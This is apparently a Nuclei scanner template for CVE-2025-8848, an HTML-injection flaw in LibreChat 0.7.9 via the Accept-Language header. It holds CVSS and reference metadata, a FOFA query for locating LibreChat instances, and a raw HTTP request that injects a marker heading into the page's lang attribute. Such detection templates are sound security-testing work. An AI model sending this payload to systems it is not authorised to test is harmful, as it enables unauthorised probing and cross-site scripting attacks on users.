漏洞描述
danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
id: CVE-2025-8848
info:
name: LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
author: Kazgangap
severity: medium
description: |
danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
impact: |
Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
remediation: |
Update to the latest version where this issue is fixed.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-8848
- https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
- https://github.com/danny-avila/LibreChat
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2025-8848
epss-score: 0.00062
epss-percentile: 0.1964
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
fofa-query: app="LibreChat"
tags: cve,cve2025,librechat,html-injection
variables:
marker: "{{rand_base(20)}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept-Language: <h3>{{marker}}</h3>
matchers-condition: and
matchers:
- type: word
words:
- '<html lang="<h3>{{marker}}</h3>">'
- 'LibreChat'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100d3d5533c7c339f2b46775925c6e2613a664b68e03082ec2e0d701160207ba6c40220087a04f5350554c9cfad722b3c6674131994688cd06860d7680ca76f709f6f87:922c64590222798bb761d5b6d8e72950